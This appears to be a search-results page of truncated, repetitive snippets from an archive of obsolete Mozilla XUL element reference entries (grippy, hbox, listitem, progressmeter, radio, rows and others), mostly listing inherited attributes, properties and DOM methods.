events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
... ...
grippy - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] an element that may be used inside a splitter which can be used to collapse a sibling element of the splitter. more information is available in the xul tutorial. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
groupbox - Archive of obsolete content
instance, only the caption appears with no border around the group. more information is available in the xul tutorial. ...
...l, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties accessibletype type: integer a value indicating the type of accessibility object for the element. ...
..., , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related interfaces nsiaccessibleprovider ...
hbox - Archive of obsolete content
d ] a container element which can contain any number of child elements. this is equivalent to the box element, except it defaults to horizontal orientation. more information is available in the xul tutorial. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements box, vbox ...
label - Archive of obsolete content
en you want to use the value none: menupopup > menuitem, menupopup > menu { max-width: none; } disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command
event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse
events. to enable th...
...ue of the crop attribute. disabled type: boolean gets and sets the value of the disabled attribute. value type: string gets and sets the value of the value attribute. for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. ...
...value of the disabled attribute. value type: string gets and sets the value of the value attribute. for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. ...
...these classes should be used instead of changing the style of the element directly since they will fit more naturally with the user's selected theme. header a class used for headings. typically, this will ...
listcell - Archive of obsolete content
en you want to use the value none: menupopup > menuitem, menupopup > menu { max-width: none; } disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command
event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse
events. to enable th...
...an editable menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. type type: string this attribute is reserved for use by anonymous children of listitem; do not use. properties disabled type: boolean gets and sets the value of the disabled attribute. ...
..., , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...specify the image using the image attribute. note that both an image and a label are added when this style is set. the label will take up extra space even when no label text is set. if it i...
listcol - Archive of obsolete content
<listhead> <listheader label="first"/> <listheader label="last"/> </listhead> <listcols> <listcol flex="1"/> <listcol/> </listcols> <listitem> <listcell label="buck"/> <listcell label="rogers"/> </listitem> <listitem> <listcell label="john"/> <listcell label="painter"/> </listitem> </listbox> attributes inherited from xul element align, allow
events, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements listbox, listcell, listcols, listhead, listheader, listitem ...
listcols - Archive of obsolete content
ox has a single column. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements listbox, listcell, listcol, listhead, listheader, listitem ...
listitem - Archive of obsolete content
the focus ring. to change the currently selected item in a listbox, use the listbox property selecteditem. disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command
event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse
events. to enable th...
...rator elements in firefox 3. tabindex type: integer gets and sets the value of the tabindex attribute. value type: string gets and sets the value of the value attribute. for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. ...
...e value of the tabindex attribute. value type: string gets and sets the value of the value attribute. for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. ...
...these classes should be used instead of changing the style of the element directly since they will fit more naturally with the user's selected theme. listitem-iconic use this class to have an image appear...
member - Archive of obsolete content
attributes | properties | methods | related ] used within a rule's conditions element to match elements that are containers or are contained within another element. both the container and child attributes may use variables. more information is available in the xul tutorial. ...
...: ? a variable reference to a node that is expected to be a child of the element that is referred to by the container element. container type: ? a variable reference to a node that is expected to be a container. if the variable is the same as the uri attribute on the content element, the resource must be a container element in order to match. ...
..., , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
page - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] similar to a window, except it should be used for xul files that are to be loaded into an iframe. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
popupset - Archive of obsolete content
ional; the given elements need not appear in a popupset container. more information is available in the xul tutorial. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements popup, menupopup ...
progressmeter - Archive of obsolete content
ar that is filled in. undetermined the progressmeter is indeterminate. value type: integer an integer ranging from 0 to the maximum value that indicates the progress. for instance, if no maximum value has been set, setting the value to "0" shows an empty bar, "100" shows a bar at full length and "25" shows the first quarter of the bar. ...
... gets and sets the value of the max attribute. mode type: string gets and sets the value of the mode attribute. value type: string gets and sets the value of the value attribute. for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. ...
..., , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related interfaces nsiaccessibleprovider ...
query - Archive of obsolete content
ttribute and may optionally contain assign elements. for sql datasources, the query should contain an sql statement as text. attributes expr examples (example needed) attributes expr type: string for xml queries, an xpath expression which returns results. any namespace prefixes declared on the element may be used within the expression. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
queryset - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a container for query elements when more than one query is used. for more information, see multiple queries. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
radio - Archive of obsolete content
en you want to use the value none: menupopup > menuitem, menupopup > menu { max-width: none; } disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command
event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse
events. to enable th...
...tor elements in firefox 3. tabindex type: integer gets and sets the value of the tabindex attribute. value type: string gets and sets the value of the value attribute. for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. ...
... value of the tabindex attribute. value type: string gets and sets the value of the value attribute. for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. ...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements radiogroup, checkbox interfaces nsiaccessibleprovider, nsidomxulselectcontrolitemelement, nsidomxullabeledcontrolelement ...
richlistitem - Archive of obsolete content
accessible, control, disabled, label, selected, tabindex, value examples (example needed) attributes disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command
event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse
events. to enable th...
...tor elements in firefox 3. tabindex type: integer gets and sets the value of the tabindex attribute. value type: string gets and sets the value of the value attribute. for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. ...
... value of the tabindex attribute. value type: string gets and sets the value of the value attribute. for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. ...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), remove
eventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related interfaces nsiaccessibleprovider, nsidomxulselectcontrolitemelement ...
row - Archive of obsolete content
element. each child of the row element is placed in each successive cell of the grid. the row with the most child elements determines the number of columns in each row, which may be smaller or larger than the number of column elements defined in the grid. more information is available in the xul tutorial. example see grid for an example. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
event(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), is...
... ...
rows - Archive of obsolete content
separate appearance such as a different border, or separate scrolling may be defined for these rows. non-row related elements placed inside a rows element occupy the full width of the grid and are placed in their corresponding positions between the rows. more information is available in the xul tutorial. example see grid for an example. ...
...hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allow
events, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(...
...trollers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods add
eventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatch
